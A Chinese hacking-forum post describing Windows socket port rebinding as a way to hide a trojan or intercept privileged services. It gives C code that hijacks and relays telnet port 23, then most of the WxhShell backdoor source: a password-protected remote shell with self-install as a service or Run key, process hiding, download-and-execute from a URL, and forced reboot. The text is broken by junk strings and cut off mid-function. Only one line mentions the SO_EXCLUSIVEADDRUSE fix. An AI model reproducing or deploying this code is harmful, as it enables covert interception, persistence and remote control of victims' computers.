社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17891阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L$z(&%Nx  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); koa-sy)#L  
8l l}"  
  saddr.sin_family = AF_INET; q o6~)Aws  
&_$0lI DQ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); r_hs_n!6  
>ZwDcuJ~Lz  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); o- v#Zl  
]!X[[w)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ' ~ 1/*F%8  
nv <t$r  
  这意味着什么?意味着可以进行如下的攻击: A2.GNk  
~s{ V!)0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {)n@Rq\=v  
d:Oo5t)MN  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) oZ_,WwnE  
LzQOzl@z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5AK@e|G$w  
o1Krp '*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  z2lT4SAv+  
Ea)=K'Pz  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7J ;\&q'  
/|p\l"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5gSe=|we*p  
YU`}T<;bg  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !l-Q.=yw  
YB1Jv[  
  #include 4:= VHd  
  #include hTQ8y10a  
  #include (?x R<]~g*  
  #include    y8ODoXk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,R\ex =c  
  int main() N*f ]NCSi  
  { w\RYxu?  
  WORD wVersionRequested; jcp6-XM  
  DWORD ret; 25j?0P"&  
  WSADATA wsaData; d%K&  
  BOOL val; VXnWY8\  
  SOCKADDR_IN saddr; !CdF,pd/)m  
  SOCKADDR_IN scaddr; NY6;\ 7!n  
  int err; TQtHU6  
  SOCKET s; %O$=%"D6  
  SOCKET sc; t*J?#r  
  int caddsize; !>#gm7  
  HANDLE mt; ceuEsQ}  
  DWORD tid;   ..R JHa6B  
  wVersionRequested = MAKEWORD( 2, 2 ); q`3HHq  
  err = WSAStartup( wVersionRequested, &wsaData ); A%cJ5dF8~  
  if ( err != 0 ) { UX'q64F!  
  printf("error!WSAStartup failed!\n"); ?_B'#,tI  
  return -1;  Q@!XVQx4  
  } dT{GB!jz  
  saddr.sin_family = AF_INET; 4F"%X &$  
   C/4r3A/u  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  }}Zg/(  
vq+4so )/S  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2Ab`i!#  
  saddr.sin_port = htons(23); z(u,$vZ _  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r>}z|I'  
  { &]tm 'N25  
  printf("error!socket failed!\n"); 3+\Zom4  
  return -1; Z*b$&nM  
  } <G0Ut6J>  
  val = TRUE; Z2 Vri  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `An p;el  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !+z&] S3s  
  { kCALJRf~d  
  printf("error!setsockopt failed!\n"); "=ki_1/P  
  return -1; QUm[7<"  
  }  ^Kl*}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j/jFS]iC  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <J>k%,:B  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 d)3jkHYEjj  
9^8_^F  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) C[';B)a  
  { ,vo]WIQ\:  
  ret=GetLastError(); bk1.H@8  
  printf("error!bind failed!\n"); yFn~rv|&G  
  return -1; 1\%@oD_zG  
  } o@hj.)u  
  listen(s,2); l<qEX O  
  while(1) njaKU?6%d2  
  { *+k yuY J  
  caddsize = sizeof(scaddr); OrF.wcg  
  //接受连接请求 jZQ{ XMF  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P 'o]#Az  
  if(sc!=INVALID_SOCKET) ^ p7z3ng  
  { A9KPU:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Qp7F3,/#  
  if(mt==NULL) YCVT0d  
  { <(_Tanx9Q  
  printf("Thread Creat Failed!\n"); {6O} E9  
  break; P @J)S ?  
  } ~xv3R   
  } K%W;-W*'  
  CloseHandle(mt); zf]e"e  
  } OnU-FX<  
  closesocket(s); 'BUfdb8d  
  WSACleanup(); P#MUS_x  
  return 0; g<ov` bF  
  }   ,xR u74  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~Q#! oh'i  
  { E,dUO;  
  SOCKET ss = (SOCKET)lpParam; #?`S+YN!q)  
  SOCKET sc; _#Lq~02 %  
  unsigned char buf[4096]; ]t~'wL#Z  
  SOCKADDR_IN saddr; Mnk-"d  
  long num; #|3,DZ|)F  
  DWORD val; E3(o}O  
  DWORD ret; D+jE{v'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?p/}eRgi  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   EM@EB< pRX  
  saddr.sin_family = AF_INET; H!6+x*P0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (sI`FW_  
  saddr.sin_port = htons(23); cq5^7.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yJ `{\7Uqg  
  { y>:U&P^  
  printf("error!socket failed!\n"); ^O =G%de  
  return -1; cs _  
  } acar-11_o/  
  val = 100; L0I |V[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K'/if5>Bc  
  { +J~%z*A  
  ret = GetLastError(); GIT"J}b}  
  return -1; HO_(it \  
  } %"=GQ3u[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o~W,VhCP  
  { 9 ~$E+ m(  
  ret = GetLastError();  ;q5|If  
  return -1; W'=}2Y$]u  
  } jt(GXgm  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >y,. `ECn  
  { WgG$ r  
  printf("error!socket connect failed!\n"); )#1!%aQ  
  closesocket(sc); I;1)a4Xc4R  
  closesocket(ss); 2ga8 G4dU  
  return -1; _>aP5g?Ep  
  } ~{);Ab.9+  
  while(1) oX*;iS X  
  { lWd@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 yyk@f%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 T@`Al('  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >)u{%@Rcy{  
  num = recv(ss,buf,4096,0); lFduX D  
  if(num>0) m`n~-_  
  send(sc,buf,num,0); /2hRL yeAZ  
  else if(num==0) Q&+)Kp]A  
  break; ?RIf0;G  
  num = recv(sc,buf,4096,0); FV3[7w=D\  
  if(num>0) :>o 0zG[;f  
  send(ss,buf,num,0); 7 , _b  
  else if(num==0) Ryygq,>VD.  
  break; )FmIL(vu  
  } k.jBu  
  closesocket(ss); 49<t2^1q  
  closesocket(sc); -rjQ^ze  
  return 0 ; AlG5n'  
  } /u_9uJ"-K(  
l]#=I7 6  
l!KPgRw  
========================================================== kj.9\  
NZ0?0*  
下边附上一个代码,,WXhSHELL e*}GQ  
W'f"kM  
========================================================== 4e;$+! dlV  
{~j/sto-:  
#include "stdafx.h" Rjlp<  
Yh;(puhyA  
#include <stdio.h> Lz p}<B  
#include <string.h> tZVs0eVF<  
#include <windows.h> cH4 PrMm&  
#include <winsock2.h> C^5 V  
#include <winsvc.h> _%Ua8bR$  
#include <urlmon.h> OB\ZT@l  
lN8l71N^  
#pragma comment (lib, "Ws2_32.lib") 1 ?Zw  
#pragma comment (lib, "urlmon.lib") En#Q p3  
_d!o,=}  
#define MAX_USER   100 // 最大客户端连接数 'ey62-^r6  
#define BUF_SOCK   200 // sock buffer #B6f{D[pI  
#define KEY_BUFF   255 // 输入 buffer "wg$ H1K  
A L^tUcl  
#define REBOOT     0   // 重启 ggitUQ+t;G  
#define SHUTDOWN   1   // 关机 H~mp*S  
Q$ Dx:  
#define DEF_PORT   5000 // 监听端口 E/wxX#]\  
FC6~V6R  
#define REG_LEN     16   // 注册表键长度 % ;R&cSZ  
#define SVC_LEN     80   // NT服务名长度 V82I%gPF  
_Y/*e<bU  
// 从dll定义API =J]EVD   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *}';q`u }  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -:"KFc8A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); | 5:2?S2R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?*yB&(a:8  
aI ;$N|]u  
// wxhshell配置信息 QtXiUx^ k<  
struct WSCFG { 0!KYi_3  
  int ws_port;         // 监听端口 W,[QK~  
  char ws_passstr[REG_LEN]; // 口令 *)`PY4zF  
  int ws_autoins;       // 安装标记, 1=yes 0=no q# Q%p+  
  char ws_regname[REG_LEN]; // 注册表键名 5G gH6   
  char ws_svcname[REG_LEN]; // 服务名 ]4V1]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9E8&~y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #"?pY5 ("  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ' Q(kx*;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no aaw[ia_EL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6&0G'PMf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;H`@x Lv*  
|HYST`  
}; %6rSLBw3  
V9qA'k  
// default Wxhshell configuration :) -`  
struct WSCFG wscfg={DEF_PORT, QG~6mvD  
    "xuhuanlingzhe", j}s/)}n|  
    1, JC-> eY"O2  
    "Wxhshell", d=8.cQL:E  
    "Wxhshell",  :TR:tf  
            "WxhShell Service", ceD6q~)  
    "Wrsky Windows CmdShell Service", 'W4v>0   
    "Please Input Your Password: ", jAue+ tB  
  1, )!cucY  
  "http://www.wrsky.com/wxhshell.exe", x3#:C=  
  "Wxhshell.exe" T0"nzukd  
    }; >3B {sn}  
L-rV+?i`6f  
// 消息定义模块 izGU&VeB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }$L1A   
char *msg_ws_prompt="\n\r? for help\n\r#>"; WQze|b %  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y<(7u`F  
char *msg_ws_ext="\n\rExit."; }7b{ZbDI  
char *msg_ws_end="\n\rQuit."; IDD`N{EA  
char *msg_ws_boot="\n\rReboot..."; TQNdBq5I6  
char *msg_ws_poff="\n\rShutdown..."; 89GW!  
char *msg_ws_down="\n\rSave to "; XTk :lzFH  
QKx(S=4jQ  
char *msg_ws_err="\n\rErr!"; im9EV|;  
char *msg_ws_ok="\n\rOK!"; pU<J?cU8N  
bc~$"  
char ExeFile[MAX_PATH]; 9&Un|cr  
int nUser = 0; cn/&QA"  
HANDLE handles[MAX_USER]; ~6Fh,S1?  
int OsIsNt; 5mpql[v3P  
4&%H;Q  
SERVICE_STATUS       serviceStatus; \}u/0UF97  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; , %8)I("  
p{W Amly  
// 函数声明 ?I? ~BWu  
int Install(void); D|m0Vj b  
int Uninstall(void); qC"`i}7  
int DownloadFile(char *sURL, SOCKET wsh); #I.~+M  
int Boot(int flag); }vx,i99W?  
void HideProc(void); kdlmj[=  
int GetOsVer(void); fp\mBei  
int Wxhshell(SOCKET wsl); P]y{3y:XxM  
void TalkWithClient(void *cs); <YEKbnw$o  
int CmdShell(SOCKET sock); u9~Ncz  
int StartFromService(void); =_iYT044p  
int StartWxhshell(LPSTR lpCmdLine); QRKP;aYt  
*{k{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IDw`k[k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E'D16Rhp  
&{glwVKV  
// 数据结构和表定义 NB'G{),)Z  
SERVICE_TABLE_ENTRY DispatchTable[] = qLb~^'<iD  
{ \b"|p%CL8  
{wscfg.ws_svcname, NTServiceMain}, Qjnh;uBO  
{NULL, NULL} IA Ma  
}; -AD` (b7q  
'%ZKvZ-  
// 自我安装 pO5j-d *  
int Install(void) S^|`*%pq  
{ J%xUO1  
  char svExeFile[MAX_PATH]; )B&`<1Oie  
  HKEY key; +zk5du^gZ  
  strcpy(svExeFile,ExeFile); O;V^Fk(  
0<uLQVoR2n  
// 如果是win9x系统,修改注册表设为自启动 ')yYpWO  
if(!OsIsNt) { Vj1V;dHv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~}d\sQF .  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 60n P'xfR  
  RegCloseKey(key); Opg_-Bf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iHc(e(CB<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x\~ <8o  
  RegCloseKey(key); ):Z #!O<  
  return 0; oMLs22Do?  
    } p^q/u  
  } pV (Mh[ }P  
} YU+P+m2X  
else { +aM[!pW(e  
st)v'ce,  
// 如果是NT以上系统,安装为系统服务 a'Odw2Q_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $8&Y(`  
if (schSCManager!=0) )6X-m9.X  
{ -zJ V(`  
  SC_HANDLE schService = CreateService {{_v.d~1  
  ( cfv: Ld m  
  schSCManager, 1BW9,Xr  
  wscfg.ws_svcname, jVOq/o  
  wscfg.ws_svcdisp, D*VO;?D  
  SERVICE_ALL_ACCESS, ntPj9#lf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o@dT iQK_  
  SERVICE_AUTO_START, u {\>iQ   
  SERVICE_ERROR_NORMAL, W)D?8*  
  svExeFile, B<-("P(q  
  NULL, WoB'B|%  
  NULL, H<q|je}e  
  NULL, I9aiAD0s  
  NULL, 09P2<oFLn  
  NULL u9,dSR  
  ); ZnAQO3%y  
  if (schService!=0) d/Wp>A@dob  
  { W-|C K&1  
  CloseServiceHandle(schService); PZ'|)  
  CloseServiceHandle(schSCManager); TJW8l[M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5%QYe]D  
  strcat(svExeFile,wscfg.ws_svcname); 2^Im~p~ByE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aZ{l6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I8T*_u^_  
  RegCloseKey(key); Ah@e9`_r  
  return 0; VB4V[jraCF  
    } h`O$L_Z  
  } '-n Iy$>  
  CloseServiceHandle(schSCManager); *>zOWocxD  
} |&-*&)iD|w  
} D$H&^,?N  
''q;yKpaz  
return 1; >Je$WE3  
} s 72yu}  
&FOq c  
// 自我卸载 i?@7>Ca  
int Uninstall(void) =N\$$3m?  
{ HN/YuP03[  
  HKEY key; _99 +Vjy  
EXH,+3fQp  
if(!OsIsNt) { AB+lM;_>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >$CNR*}@  
  RegDeleteValue(key,wscfg.ws_regname); ~l] w=[ z  
  RegCloseKey(key); [N%InsA9k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ez-AQ'  
  RegDeleteValue(key,wscfg.ws_regname); ;g+fY 6  
  RegCloseKey(key); 0LzS #J+  
  return 0; $RF.LVc  
  } ^qBm%R(  
} {&D$U'ye  
} 76o[qay  
else { ;*FY+jM  
|9$C%@8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N.]~%)K:{  
if (schSCManager!=0) Yc~lYz+b  
{ IUh9skW5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^2%)Nq;O  
  if (schService!=0) 9{S$%D  
  { }uaFmXy3  
  if(DeleteService(schService)!=0) { PGxv4(%  
  CloseServiceHandle(schService); y0O e)oP  
  CloseServiceHandle(schSCManager); %G6x\[,  
  return 0; l& sEdEA  
  } %z[=T@  
  CloseServiceHandle(schService); 1B&XM^>/  
  } )>Z@')Uk:  
  CloseServiceHandle(schSCManager); Mg8ciV}\xY  
} ~p{YuW[e  
} $I#~<bW,  
/4+zT?f  
return 1; A~k: m0MX  
} )w&|VvM )L  
^e =xEZD  
// 从指定url下载文件 q%f90  
int DownloadFile(char *sURL, SOCKET wsh) 9h-S,q!  
{ :nqDX  
  HRESULT hr; /RhM6N  
char seps[]= "/"; QFhyidm=]  
char *token; Pd d(1K*  
char *file; 3^q9ll7Op  
char myURL[MAX_PATH]; l6xqc,h!K  
char myFILE[MAX_PATH]; 7oUo[  
Rw[!Jq  
strcpy(myURL,sURL); 8(q8}s$>  
  token=strtok(myURL,seps); 4 8 J{Y3F  
  while(token!=NULL) Zg4wd/y?  
  { 3|G~_'`RLt  
    file=token; 9<P%?Q  
  token=strtok(NULL,seps); J?Q@f  
  } @{3_7  
GvA4.s,  
GetCurrentDirectory(MAX_PATH,myFILE); )G]J@36  
strcat(myFILE, "\\"); I3x+pa^]2  
strcat(myFILE, file); /L! =##  
  send(wsh,myFILE,strlen(myFILE),0); "iK'O =M  
send(wsh,"...",3,0); 0lYP!\J3]%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |rhB@k  
  if(hr==S_OK) i^ILo,Q  
return 0; RCK*?\m5  
else Y}yh6r;i  
return 1; 3w[uc~f  
|@R/JGB^  
} &lzCRRnvt  
tN.BI1nB  
// 系统电源模块 ]PL\;[b>  
int Boot(int flag) U%VFr#  
{ hmb=_W  
  HANDLE hToken; ?,hGKSC  
  TOKEN_PRIVILEGES tkp; z [u!C/  
KlBT9"6"  
  if(OsIsNt) { l#+@!2z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |r+hj<K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i \lr KA  
    tkp.PrivilegeCount = 1; 7VkjnG^!:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Sw[*1C8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); YCzH@94QeV  
if(flag==REBOOT) { ?h#F& y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PqyR,Bcx0  
  return 0; Y1qbu~!  
} `r\/5|M  
else { D`B*+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d=\\ik8  
  return 0; ,~l4-x.,  
} l}g_<  
  } Xo.3OER  
  else { }J\7IsM&  
if(flag==REBOOT) { C^U>{jf !  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q="ymx~  
  return 0; += gU`<\  
} we*E}U4  
else { >w\3.6A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }ri7@HCY4  
  return 0;  @_WZZ  
} EF 8rh  
} w5Ucj*A\  
j \ #y  
return 1; d1*0?GTT  
} 4}YHg&@\d%  
O=!EqaExW  
// win9x进程隐藏模块 LR"7e  
void HideProc(void) &oK&vgcj  
{ }1sd<<\`  
$O\]cQD`u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N#:W#C{16w  
  if ( hKernel != NULL ) Wp^ |=  
  { 6-{wo)p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {;JFoe+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *tDxwD7  
    FreeLibrary(hKernel);  .^rs VNG  
  } '0qKb*  
S^i<_?nwg  
return; v:9Vp{)  
} MP Q?Q]'  
L N'})CI8m  
// 获取操作系统版本 ET6}V"UD  
int GetOsVer(void) 3|/zlKZz  
{ }~<9*M-P  
  OSVERSIONINFO winfo; nqcD#HUv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); = o1&.v2j  
  GetVersionEx(&winfo); N\hHu6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h>|IA@;|f  
  return 1; *  }ZKQ  
  else 3.?oG5 P#  
  return 0; x$bCbg  
} _ukBp*u  
r"KW\HN8  
// 客户端句柄模块 >T29kgF2  
int Wxhshell(SOCKET wsl) ITU6Eq  
{ anUH'mcK*  
  SOCKET wsh; <a D}Ko(  
  struct sockaddr_in client; 0INlo   
  DWORD myID; M8FC-zFs  
D CSTp2  
  while(nUser<MAX_USER) `hU 2Ss~  
{ Iw</X}#\  
  int nSize=sizeof(client); Qu|<1CrZj]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CX>QP&Gj  
  if(wsh==INVALID_SOCKET) return 1; <gY.2#6C\%  
dJmr!bN\;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z&J.8A]L  
if(handles[nUser]==0) 8d>>r69$pa  
  closesocket(wsh); Aq&H-g]s  
else E. Arq6  
  nUser++; \ 3l3,VYH  
  } <\\,L@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .W0;Vhw"  
*U|2u+| F  
  return 0; <%LN3T  
} I h 19&D  
"nn>I}jK  
// 关闭 socket hr GfA  
void CloseIt(SOCKET wsh) (#r>v h(  
{ <cR]-Yr~  
closesocket(wsh); t1]sv VX,w  
nUser--; /A%31WE&1  
ExitThread(0); DI:"+KMq{  
} roWg~U(S  
o~p%ODH  
// 客户端请求句柄 6^Ax3# q  
void TalkWithClient(void *cs) IdL~0;W7  
{  ZG-[Gz  
ZfWF2%]<  
  SOCKET wsh=(SOCKET)cs; X}j_k=,C  
  char pwd[SVC_LEN]; 0tah$;c e  
  char cmd[KEY_BUFF];  DE14dU  
char chr[1]; ]1i1_AR'`  
int i,j; XZ1<sm8t."  
UP e@>  
  while (nUser < MAX_USER) { |gJI}"T  
<a$'tw-8  
if(wscfg.ws_passstr) { uI_h__  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7V7iIbi  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .s>PDzM $  
  //ZeroMemory(pwd,KEY_BUFF); w!/se;_H+w  
      i=0; .c2Zr|X  
  while(i<SVC_LEN) { >{w"aJ" F  
#F|w_P  
  // 设置超时 8j&LU,  
  fd_set FdRead; 'wP\VCL2>  
  struct timeval TimeOut; a*KJjl?k  
  FD_ZERO(&FdRead); pksF| VS  
  FD_SET(wsh,&FdRead); dfA4OZ&  
  TimeOut.tv_sec=8; c=\H&x3X  
  TimeOut.tv_usec=0; ; Uf]-uS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \y0uGnmCj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c27\S?\ Jd  
AU/L_hg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F\hU V[  
  pwd=chr[0]; b:>t1S Ul  
  if(chr[0]==0xd || chr[0]==0xa) { FaE,rzn)iD  
  pwd=0; #~>ykuq  
  break; YA4;gH+  
  } D= LLm$y  
  i++; [(4s\c  
    } '6W|,  
'"<h;|  
  // 如果是非法用户,关闭 socket q8e34Ly7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CLX!qw]@ +  
} >ay% !X@3"  
K\vyfYi  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z{J{6j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C*1,aLSw  
$ -n?q w  
while(1) { d#]XyN>  
Ct,|g =(  
  ZeroMemory(cmd,KEY_BUFF); BjyGk+A   
O!#bM< *  
      // 自动支持客户端 telnet标准   sT|FgB  
  j=0; #99fFs`w  
  while(j<KEY_BUFF) { d%='W|i\p&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NT<> LWo  
  cmd[j]=chr[0]; is [p7-  
  if(chr[0]==0xa || chr[0]==0xd) { A5LTgGzaW  
  cmd[j]=0; g4 G?hv`R  
  break; C Nt  
  } @u}1 S1  
  j++; Xeo2 < @[  
    } 'WLh D<  
GH!Lu\y\  
  // 下载文件 EvEI5/ z  
  if(strstr(cmd,"http://")) { E[N3`"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y$ To)qo  
  if(DownloadFile(cmd,wsh)) j)neVPf%v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); AUvUk<a  
  else 8@Kvh|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \9GJa"xA`  
  } *D$[@-7  
  else { mUW4d3tE  
nd)bRB  
    switch(cmd[0]) { 1:r8p6  
  P7`sJ("#  
  // 帮助 */JMPw&  
  case '?': { Y &"rf   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TUV&9wKXo  
    break; "TboIABp:H  
  } G`1FD  
  // 安装 LU=`K4  
  case 'i': { :yTpjC-S]  
    if(Install()) pa@@S $(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;"77? )  
    else 6!GO{2d"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OcWzo#q4[  
    break; W<AxctId  
    } orcPKCz|"  
  // 卸载 gwyHDSo8:a  
  case 'r': { b^~"4fU  
    if(Uninstall()) -'iV-]<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); - P$mN6h  
    else <+wbnnK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dy[_Ix/Y,  
    break; Anu`F%OzB  
    } ;m[-yqX  
  // 显示 wxhshell 所在路径 i)pAFv<$,  
  case 'p': { H3{FiB]  
    char svExeFile[MAX_PATH]; %kRQ9I".  
    strcpy(svExeFile,"\n\r"); <$]=Vaq  
      strcat(svExeFile,ExeFile); #M5R>&?Jqz  
        send(wsh,svExeFile,strlen(svExeFile),0); ^t{2k[@  
    break; .0b$mSV[  
    } dq&N;kk |  
  // 重启 ^t'mfG|DV  
  case 'b': { ogrh"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PfRe)JuB  
    if(Boot(REBOOT)) "ApVgNB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8I X,q  
    else { 7;T6hKWV[  
    closesocket(wsh); J XKqQxZ[X  
